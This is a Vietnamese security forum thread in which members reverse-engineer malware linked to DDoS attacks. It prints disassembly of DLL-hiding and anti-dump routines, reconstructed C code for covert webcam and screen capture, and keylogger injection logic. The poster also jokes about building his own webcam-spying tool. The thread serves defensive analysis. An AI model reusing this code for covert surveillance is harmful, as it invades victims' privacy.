banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận virus, trojan, spyware, worm... Phân tích tính chất vài trận DDoS HVA vừa qua.  XML
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 08:24:12 (+0700) | #1141 | 248066
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
cversions.2.db và dao360.dll.mui đều là chung một code base ban đầu. Chúng có 2 hàm đáng chú ý sau mà anh em research rootkit, cracking hay gặp:
1. Hàm che dấu Dll name khỏi các tool Process Explorer, TaskManager....:
Code:
.text:1000D610     ; BOOL HideDLL(void)
.text:1000D610     HideDLL proc near                       ; CODE XREF: MaintThreadProc+A9p
.text:1000D610     ldr     = dword ptr -4
.text:1000D610 000         push    ecx
.text:1000D611 004         mov     ecx, g_hinstDLL
.text:1000D617 004         test    ecx, ecx
.text:1000D619 004         jnz     short @@DLLInstanceNotZero
.text:1000D61B 004         xor     eax, eax
.text:1000D61D 004         pop     ecx
.text:1000D61E 000         retn
.text:1000D61F     @@DLLInstanceNotZero:                   ; CODE XREF: HideDLL+9j
.text:1000D61F 004         push    esi
.text:1000D620 008         mov     eax, large fs:18h       ; eax = ptr to _TEB
.text:1000D626 008         mov     eax, [eax+_TEB.ProcessEnvironmentBlock] ; eax = ptr to _PEB
.text:1000D629 008         mov     eax, [eax+_PEB.Ldr]     ; eax = ptr to _PEB_LDR_DATA
.text:1000D62C 008         mov     [esp+8+ldr], eax
.text:1000D630 008         mov     eax, [esp+8+ldr]
.text:1000D634 008         mov     esi, [eax+PEB_LDR_DATA.InLoadOrderModuleList.Flink] ; esi = InLoadOrderModuleList: _LIST_ENTRY struct
.text:1000D637 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of first DLL (0x18 offset in LDR_DATA_TABLE_ENTRY struct)
.text:1000D637                                             ; In Windows, hau nhu la DllBase cua Ntdll.dll
.text:1000D63A 008         test    eax, eax
.text:1000D63C 008         jz      short @@FoundThisDLL
.text:1000D63E 008         mov     edi, edi
.text:1000D640     @@IsThisDLL:                            ; CODE XREF: HideDLL+3Bj
.text:1000D640 008         cmp     eax, ecx                ; ecx = DllBase or HInstance of this DLL
.text:1000D642 008         jz      short @@FoundThisDLL
.text:1000D644 008         mov     esi, [esi]              ; esi = InLoadOrderLinks.Flink
.text:1000D646 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of next DLL
.text:1000D649 008         test    eax, eax
.text:1000D64B 008         jnz     short @@IsThisDLL
.text:1000D64D     @@FoundThisDLL:                         ; CODE XREF: HideDLL+2Cj
.text:1000D64D                                             ; HideDLL+32j
.text:1000D64D 008         cmp     [esi+_LDR_DATA_TABLE_ENTRY.DllBase], 0 ; DllBase is 0 ?
.text:1000D651 008         jnz     short @@ModifyDoubleLinkList
.text:1000D653 008         xor     eax, eax
.text:1000D655 008         pop     esi
.text:1000D656 004         pop     ecx
.text:1000D657 000         retn
.text:1000D658     @@ModifyDoubleLinkList:                 ; CODE XREF: HideDLL+41j
.text:1000D658 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D65B 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D65D 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D65F 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D661 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D664 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D667 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D66A 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D66D 008         mov     [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], eax
.text:1000D66F 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D672 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D675 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], edx
.text:1000D678 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D67B 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D67E 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], ecx
.text:1000D680 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D683 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D686 008         mov     [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], eax
.text:1000D689 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D68C 008         mov     edx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D68F 008         mov     [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D691 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D694 008         mov     ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D697 008         mov     [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D69A 008         movzx   edx, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Length]
.text:1000D69E 008         mov     eax, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Buffer]
.text:1000D6A1 008         push    edx                     ; size_t
.text:1000D6A2 00C         push    0                       ; int
.text:1000D6A4 010         push    eax                     ; void *
.text:1000D6A5 014         call    _memset                 ; Zero the FullDllName
.text:1000D6AA 014         push    48h
.text:1000D6AC 018         push    0
.text:1000D6AE 01C         push    esi
.text:1000D6AF 020         call    _memset                 ; Zero memory _LDR_DATA_TABE_ENTRY of this DLL
.text:1000D6B4 020         add     esp, 18h
.text:1000D6B7 008         mov     eax, 1
.text:1000D6BC 008         pop     esi
.text:1000D6BD 004         pop     ecx
.text:1000D6BE 000         retn
.text:1000D6BE     HideDLL endp

Sau khi hàm HideDll này được thực thi, với các tool bình thường, chúng ta sẽ không thấy cversions.2.db hay dao360.dll.mui được load lên.

2. Code anti-dump dll memory xuống disk:
Code:
.text:1000DF80     ; void __cdecl IncSizeOfImageFieldInLDR()
.text:1000DF80     IncSizeOfImageFieldInLDR proc near      ; CODE XREF: MaintThreadProc:loc_1000A82Ep
.text:1000DF80 000         mov     eax, large fs:30h       ; eax = PEB
.text:1000DF86 000         mov     eax, dword ptr [eax+_PEB_LDR_DATA.InLoadOrderModuleList] ; eax = Ldr: _PEB_LDR_DATA
.text:1000DF89 000         mov     eax, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] ; InLoadOrderModuleList : _LIST_ENTRY
.text:1000DF8C 000         add     [eax+_LDR_DATA_TABLE_ENTRY.SizeOfImage], 3686400 ; _LDR_DATA_TABLE_ENTRY: 0x20 offset = SizeOfImage
.text:1000DF93 000         retn
.text:1000DF93     IncSizeOfImageFieldInLDR endp


Hai kỹ thuật trên đã có từ lâu lắm rồi, được public nhiều trên Phrack magazine và Vxnetlux...., nói chung là đạo code, không có gì mới, nhưng vẫn hiệu quả với các tool, người dùng bình thường trong việc che giấu cversions.2.db hay dao360.dll.mui khỏi TaskManager, ListDll, Process Explorer....
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 11:33:08 (+0700) | #1142 | 248070
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Còn một cách khác để chúng ta có thể run Wireshark, SmartSniff..., không cấn modify wireshark.exe, smsniff.exe... mà code của stl sẽ không thể nào detect ra.
Chúng ta sẽ dùng tool HideToolZ, tool này nhiều bạn biết. Các bạn có thể download ở đây: http://woodmann.com/collaborative/tools/index.php/HideToolz. Có thể sẽ có vài AVs báo HideToolz là rootkit, không sao !

Chỉnh option của HideToolz như hình:


Run Wireshark hay SmartSniff, hide các process đó, xong. Code của stl sẽ không detect ra !

Tiếp tục nào các bạn, vì cversions.2.db là một dll, nên chúng ta không thể nào run nó trực tiếp được. Chúng ta chép một mình cversions.2.db qua máy ảo (VM), vào thư mục C:\Temp chẵng hạn.

Run Wireshark (hay SmartSniff) trên máy ảo với protect = HideToolz như trên. Config Wireshark để capture vào một pcap file nào đó, rồi start capture.

Sau đó ra ngoài command line, gõ lệnh:
Code:
rundll32.exe C:\Temp\cversions.2.db, ABCDE

Do cversions.2.db không export hàm nào, nên rundll32.exe sẽ quăng ra môt message box, kệ nó, đừng click OK, bỏ đó đi uống ăn cơm. Các thread của cversions.2.db đã bắt đầu chạy rồi đó, Wireshark sẽ capture sau khi các thread đó ngủ dậy.

Quan sát Wireshark tới khi nào các bạn thấy cversions.2.db kết nối tới các host kia. Click OK để kết thúc rundll32.exe (sẽ tự kill luôn cversions.2.db).

Mở file pcap thu được bằng Wireshark với 010 Editor, mở template PCAPTemplate.bt, xor data gởi đi với 0x1D, các bạn sẽ thấy cversions.2.db đã gởi đi thứ gì từ mấy các bạn.


Một phần data trên máy em sau khi em xor:


Bà con chú ý cái hình after xor nhé, dòng bôi đõ đầu tiên là volume serial number của C: (%HomeDrive%), dòng bôi đỏ thứ hai là MAC address của card mạng, dòng bôi đỏ thứ 3 là Model và Serial Number của Hard Disk1 (master).
Bà con ai biết, chữ "Bai" là gì, của ngôn ngữ nào không ??? Chữ "Bai" này em thấy lạ lắm, vì em biết coder Việt ta không bao giờ dùng chữ "Bai" để mô tả harddisk type và serial number ???


Trong khi đó, với dao360.dll.mui thì code lấy harddisk type và serialnumber không có (chưa dùng WMI), nên chuỗi format chỉ là:
Code:
[%d.%d.%d] - SP %d - PT %d - SM %d - HD %0.8X - NIC %s

[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 14:11:29 (+0700) | #1143 | 248077
trycatch
Member

[Minus]    0    [Plus]
Joined: 07/12/2010 20:00:36
Messages: 15
Offline
[Profile] [PM]

TQN wrote:

Bà con ai biết, chữ "Bai" là gì, của ngôn ngữ nào không ??? Chữ "Bai" này em thấy lạ lắm, vì em biết coder Việt ta không bao giờ dùng chữ "Bai" để mô tả harddisk type và serial number ???
 

Tiếng Việt không dấu dịch ra là: Bài, Bái, Bại, Bải
Tàu dịch ra là 100
Anh dịch ra là : tạm biệt anh TQN, smilie

[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 15:01:23 (+0700) | #1144 | 248080
texudo
Member

[Minus]    0    [Plus]
Joined: 20/07/2011 11:14:04
Messages: 31
Offline
[Profile] [PM]
Cái từ Bai mà a TQN nhắc tới nếu dịch = google translate nó ra mấy nghĩa:

1. WHITE (白)
2. 100 (百)
3. Worship (拜)

....

smilie nói chung nghi ngờ KHỰA hơi nhiều nên chỉ tập trung vào đó. Sorry bạn KHỰA nếu mình sai smilie
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 16:04:31 (+0700) | #1145 | 248085
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
2 trycatch: Bai # Bye nhen !
String sau từ "Bai" là kết hợp của 2 string này:


Vì vậy, các bạn search hay Google Translate từ "Bai" đó sai hết rồi, hì hì smilie
Với các bạn đã code C/C++, nhìn hàm format string đó các bạn hiểu ngay là:
Code:
[%d.%d.%d]: [dwMajorVersion.dwMinorVersion.dwBuildNumber]
SP: wServicePackMajor
PT: wProductType
SM: wSuiteMask
HD: Volume serial number of %HomeDrive%
NIC: MAC address
Bai: ???????


Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?

PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu smilie Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test smilie

Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 16:44:56 (+0700) | #1146 | 248090
[Avatar]
secmask
Elite Member

[Minus]    0    [Plus]
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
[Profile] [PM] [WWW]

TQN wrote:


Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?

PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu smilie Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test smilie

Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy ! 


Không thấy đả động gì đến MemoryOrder list, không lẽ bug ở đây smilie, bản Process Explorer 11.x cũ của em nó không hiện cversion2.db trong list module thật.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 03/10/2011 17:40:35 (+0700) | #1147 | 248093
[Avatar]
quygia128
Member

[Minus]    0    [Plus]
Joined: 15/07/2009 20:50:28
Messages: 119
Location: Somewhere
Offline
[Profile] [PM] [WWW]
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy ! 

Cái này theo suy nghĩ nông cạn của em là để xem mọi người hay dùng phần mềm gì, những tool nào là cần thiết mà nhiều người sử dụng --> để tiện anti / update malware và đính kèm vài chú malware vào những tool phổ biến này.
Và để làm được điều đó thì nhất thiết coder của stl phải lấy nhũng thông tin này.
Chỉ vấn đề anti debug và detect các tool khác thôi em thấy mấy anh stl này code rất cực khổ với anh N rồi mà giờ còn làm thêm cái trò này, mấy anh stl hình như không biết mệt.
Còn việc lấy thông tin về phần cứng như HDD serial, card, Modem mạng thì em cũng không biết mấy ảnh làm gì nữa ?.Hổng lẽ mấy ảnh định chuyển hướng sang kinh doanh linh kiện máy tính và đang tìm hiểu thị trường smilie
.::Mới bắt đầu trên con đường dài::.
.::Super Newbiez::.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 04/10/2011 09:41:46 (+0700) | #1148 | 248112
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

TQN wrote:

Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
 


Thì thống kê xem cái software nào hiện đang được dùng nhiều, hay máy mục tiêu đang chạy software gì để mà còn "núp bóng" chứ smilie
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 04/10/2011 09:42:24 (+0700) | #1149 | 248113
[Avatar]
Vanxuanemp
Member

[Minus]    0    [Plus]
Joined: 02/08/2005 04:31:37
Messages: 63
Location: Thôn Đoài
Offline
[Profile] [PM] [WWW]

TQN wrote:

Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?

PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu smilie Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test smilie

Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy ! 


Các đoạn code trên có nhiều mục đích lắm. Thứ nhất là tặng malware vào phần mềm crk hay sử dụng. Thứ 2 là giờ đây hack không chỉ là phần mềm, mà còn là phần cứng, các lỗ hổng trong phần cứng mới là nhiều và thường ít được biết tới và ít quan tâm hơn là phần mềm, cũng như khó để xử lý hơn. Sau khi biết victim sử dụng loại phần mềm và phần cứng nào thì càng tăng ưu thế cũng như khả năng dễ tấn công theo nhiều hướng khác nhau.

PS: Hôm nay vietnamnet vào rất nhanh, có lẽ DDOS đã tạm dừng, cộng với việc tăng số server để chống đỡ DDOS nên giờ vietnamnet vào nhanh như chớp.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 04/10/2011 20:10:48 (+0700) | #1150 | 248138
vncyberwar
Member

[Minus]    0    [Plus]
Joined: 20/09/2011 10:47:58
Messages: 2
Offline
[Profile] [PM]
Chúc mừng Vietnamnet đã giải quyết được vấn đề của mình... giờ thì chắc ổn rồi ... smilie
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 04/10/2011 20:45:53 (+0700) | #1151 | 248139
learningandlearning
Member

[Minus]    0    [Plus]
Joined: 06/08/2011 01:28:30
Messages: 9
Offline
[Profile] [PM]
Anh em giải lao thôi. Lúc này nếu VietNamNet chống được thì STL sẽ làm gì nhỉ?
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 05/10/2011 07:02:02 (+0700) | #1152 | 248149
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Từ Úc, Mỹ và Đức vẫn không thể vào vietnamnet bằng bất cứ trình duyệt nào.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 05/10/2011 20:29:49 (+0700) | #1153 | 248186
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Bà con nào nếu tìm trong thấy trong harddisk của mình có các file của QTTask.zip, file AcScreen.dll, hay các file trong bộ Dao360.dll.mui thì chịu khó xoá giùm đi. Boot vào SafeMode hay dùng HirenBoot CD để boot vào DOS, xoá ngay lập tức.

Em cảnh báo bao nhiêu lần rồi, bà con không chịu xoá thì mai mốt bị "tắm trắng" ráng chịu à nhen smilie

Còn nếu bà con vẫn không sợ, không chịu xoá, vui lòng lấy băng keo đen dán vào Webcam của mình, hay rút nó ra luôn. Khi nào cần chat với em út thì cắm lại.

Từ 2010, coder stl đã chơi trò chụp hình người ngồi trước máy tính thông qua webcam, save thành một file DIB (BMP), convert sang JPEG file bằng cách dùng các methods trong class Image của GdiPlus, rồi úp về mấy cái host kia. Quá đáng thật smilie(may là em không bao giờ gắn webcam vào máy)

Lúc trước em đã RCE sơ bộ file AcScreen.dll này rồi, nhưng lại không để ý. Giờ móc mấy file "mèo què" chưa RCE xong ra làm tiếp, mới giật mình phát hiện. Đoạn code video capture bằng Video For Windows API em quen lắm, vì lúc còn làm coder có làm một số project = VFW, sau đó mới chuyển qua dùng DirectShow.

File AcScreen.dll được gọi bằng cversions.2.db và dao360.dll.mui. Nó export ra 3 hàm để hai ông nội kia gọi. Ba hàm đó, thằng thì tìm video capture driver index, thằng thì chụp màn hình, thằng thì bật webcam lên capture "dung nhan" của victim.

Kiểu này thì em phải ráng hack vào các server kia mới được, hình ảnh "tươi mát" của các cô victim lúc ngồi máy ăn bận mát mẽ đầy ra đó. Mấy anh stl sướng thiệt, rữa mắt miễn phí, bát ngát luôn. Share cho em vài tấm hình "hot hot" nhen smilie.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 05/10/2011 21:45:42 (+0700) | #1154 | 248188
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
File AcScreen.dll có tên gốc lúc build là CaptureScreen.dll


Export 3 hàm sau:


Hàm select video capture driver sẽ select video driver đầu tiên hợp lệ, vd: Webcam, camera an ninh....
Code:
int __stdcall GetCaptureDriver()
{
    UINT wDriverIndex; // [sp+4h] [bp-414h]@1
    WCHAR wzVer[252]; // [sp+8h] [bp-410h]@1
    WCHAR wzName[254]; // [sp+200h] [bp-218h]@1

    memset(&szName[1], 0, 0x1F2u);
    memset(&szVer[1], 0, 0x1F2u);

    for (wDriverIndex = 0; wDriverIndex < 9; ++wDriverIndex)
    {
        if (capGetDriverDescriptionW(wDriverIndex, szName, 500, szVer, 500))
        {
            return wDriverIndex;
        }
    }

    return -1;
}


Hàm export D3DRMColorGetRed sẽ trả về cho caller TRUE hay FALSE. FALSE khi máy victim không có video capture driver.
Code:
BOOL __stdcall D3DRMColorGetRed()
{
    return GetCaptureDriver() != -1;
}


Hàm D3DRMColorGetGreen sẽ được caller gọi để bắt đầu video capture, tham số đưa vào là filename của file image capture
Code:
BOOL __stdcall D3DRMColorGetGreen(LPWSTR pwzImgCaptured)
{
    HANDLE hCaptureThread;

    g_hDesktop = CreateDesktopW(L"Defau1t1", 0, 0, 1u, 0x10000000u, 0);
    if (L"Defau1t1")  //  => bug của stl coder, may mà luôn luôn đúng
    {
        hCaptureThread = CreateThread(0, 0, CaptureThreadProc, 0, 0, 0);
        WaitForSingleObject(hCaptureThread, INFINITE);
        CloseDesktop(g_hDesktop);
        wcscpy(pwzImgCaptured, g_wzCaptureFileName);
    }
    
    return 0; // => stl coder bug: không CloseHandle(hCaptureThread);
}


CaptureThreadProc sẽ create tiếp 2 thread, một thread để force kill capture video window, 1 thread thực hiện capture
Code:
int __cdecl VideCaptureThreadProc()
{
    int result;
    int captureDriverIndex;

    SetThreadDesktop(g_hDesktop);
    captureDriverIndex = GetCaptureDriver();
    if (captureDriverIndex == -1)
    {
        result = -1;
    }
    else
    {
        VideoCapture(g_wzCaptureFileName, captureDriverIndex, 640, 480, 10);
        result = 0;
    }
    return result;
}


640, 480 là kích thước capture video window, 10 là số loop count của message loop của capture video window.

Code:
signed int __cdecl VideoCapture(WCHAR *pwzDibFile, UINT capDriverIdx, int nWidth, int nHeight, int loopCount)
{
    DWORD dwWndLong; 
    MSG Msg;
    HWND hwndCapture;

    HWND hDskWnd = GetDesktopWindow();

    hwndCapture = j_capCreateCaptureWindowW(0, 0x40000000u, 0, 0, nWidth, nHeight, hDskWnd, 0);
    if (hwndCapture)
    {
        dwWndLong = GetWindowLongW(hwndCapture, GWL_EXSTYLE);
        SetWindowLongW(hwndCapture, GWL_EXSTYLE, (dwWndLong | 0x80080) & 0xFFFBFFFF);

        ShowWindow(hwndCapture, SW_SHOWNORMAL);

        SetLayeredWindowAttributes(hwndCapture, 0, 1, LWA_ALPHA); // capture window sẽ transparent, không thấy trên màn hình

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_DRIVER_CONNECT, capDriverIdx, 0);

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_SCALE, TRUE, 0); // scale preview image to 640x480

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_PREVIEWRATE, 60, 0); // 1s chụp 1 frame

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_SET_PREVIEW, TRUE, 0); // start preview mode

        for (i = 0; i < loopCount; ++i)
        {
            GetMessageW(&Msg, hwndCapture, 0, 0);
            DispatchMessageW(&Msg);
            TranslateMessage(&Msg);
        }

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_FILE_SAVEDIBW, 0, pwzDibFile); // save to bmp file

        if (IsWindow(hwndCapture))
            SendMessageW(hwndCapture, WM_CAP_DRIVER_DISCONNECT, capDriverIdx, 0);

        DestroyWindow(hwndCapture);
        result = 1;
    }
    else
    {
        result = 0;
    }

    return result;
}


Hàm export cuối cùng chỉ làm nhiệm vụ capture screen và lưu vào file input parameter
Code:
UINT __stdcall D3DRMColorGetBlue(LPWSTR pwzImgFile)
{
    WCHAR wzTempFileName[520];
    HGDIOBJ hBmp;
    int flag, xStart, yStart, nWidth, nHeight;

    memset(wzTempFileName, 0, 1040);
    CreateWmpTempFileName(wzTempFileName);
    hBmp = ScreenCapture(flag, xStart, yStart, nWidth, nHeight);
    if (hBmp)
    {
        SaveToJPGFile(hBmp, wzTempFileName, 75);
        wcscpy(pwzImgFile, wzTempFileName);
    }
    return 0;
}


Trong file này, stl coder code bug tá lã, quên CloseHandle cho các hThread nhiều lắm. Máy ai mà chạy lâu lâu thì chỉ có nước die, cạn hết kernel handles. Cách dùng KillThreadProc để kill Video capture window rất ngớ ngẫn, vì vậy các bạn mới thấy stl coder gọi IsWindow liên tục như vậy, chắp vá phải không bạn stl ?
Và một điều nữa là các bạn có thấy không, stl coder ít dùng các class std::string, CString,... cứ khoái declare các buffer bự tổ chãng rồi memset tá lã hết !

Chỉ vài đoạn code C vậy thôi là dung nhan "mát mẽ" của các em gái victim bị chụp hết. Đơn giản ha ! Kiểu này em cũng viết một con mới được, tìm một cái FTP server nữa là có hình "nóng" xem mệt xỉu.
Và bà con IT nam thì rút kn, khi ngồi máy thì đừng ở trần, ngồi đàng hoàng nhen smilie
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 06/10/2011 12:50:36 (+0700) | #1155 | 248222
whitesnow19
Member

[Minus]    0    [Plus]
Joined: 08/10/2010 03:42:19
Messages: 54
Offline
[Profile] [PM]
Mấy bữa trước hãy vào VNN bằng link: http://tmp.vietnamnet.vn => click vào banner là vào được.
Nay vào thì thấy báo là:

Access is denied !

Web admin junzennt@gmail.com
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 08/10/2011 10:51:17 (+0700) | #1156 | 248343
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Tới giờ, có lẽ chuyện về stl cũng đã hết rồi, không còn nóng hổi nữa. Thay vào đó, chúng ta sẽ cùng nhau RCE, phân tích các tip&tricks, các đoạn code đáng chú ý của stl coder để ai có thích tìm hiểu về RCE, coding, virus có thể học hỏi được điều gì đó. Đồng thời cũng để trao đổi kỹ thuật, các tools, script để RCE.

Tôi xin quay lại với dll keylog của stl hồi xưa, hardkbd.dll. Bà con còn nhớ không ? Size = 136192 bytes. Hardkbd.dll còn có tên khác là IEFrame.ocx, cũng size đó luôn.
File này export ra 4 hàm, fake các hàm của COM dll:

Name VA Index
------- --- -------
DllCanUnloadNow 10002680 1
DllGetClassObject 10002680 2
DllRegisterServer 10002160 3
DllUnregisterServer 10002680 4
 

Trong 4 hàm trên, chỉ có hàm DllRegisterServer là có code, còn toàn bộ là empty function, chỉ return FALSE.
Khi hardkbd.dll được mèo què khác của stl load lên, ngay trong hàm DllMain, code chỉ call 1 hàm duy nhất, tôi gọi là MainProc.

Hàm MainProc sẽ làm rất nhiều việc, lấy version của Windows, tuỳ theo version của Win mà sẽ create các thread tương ứng. Các thread này kiểm tra Exe parent mà nó được load. Tương ứng với services.exe, winlogon.exe, logonui.exe, explorer.exe sẽ có các thread khác nhau. Sau đó MainProc sẽ remote load ieframe.ocx (cũng chính là hardkbd.dll) vào Explorer.exe.
Code:
int __cdecl MainProc()
{
    int osVer;
    HANDLE hProcess;
    BOOL notWinLogonExe;
    DWORD ThreadId;
    WCHAR wzPath[260];

    osVer = GetVersion();
    memset(wzPath, 0, 520);

    hProcess = GetCurrentProcess();
    GetModuleFileNameExW(hProcess, 0, wzPath, 260);
    PathStripPathW(wzPath);

    if (!_wcsicmp(wzPath, L"services.exe"))
    {
        ThreadId = 0;
        CreateThread(0, 0, ThreadProcInServicesExe, 0, 0, &ThreadId);
    }

    notWinLogonExe = _wcsicmp(wzPath, L"winlogon.exe");
    if (osVer == 6)
    {
        if (notWinLogonExe)
            goto @@IsExplorer;
        ThreadId = 0;
        CreateThread(0, 0, ThreadProcInWinLogon, 0, 0, &ThreadId);
        CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadID);
    }

    if (!notWinLogonExe)
    {
        ThreadId = 0;
        InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard();
        CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
    }

    if (!_wcsicmp(wzPath, L"logonui.exe"))
    {
        CreateThread(0, 0, ThreadProcInLogOnUIExe, 0, 0, &ThreadID);
    }

@@IsExplorer:
    if (!_wcsicmp(wzPath, L"explorer.exe"))
    {
        ThreadId = 0;
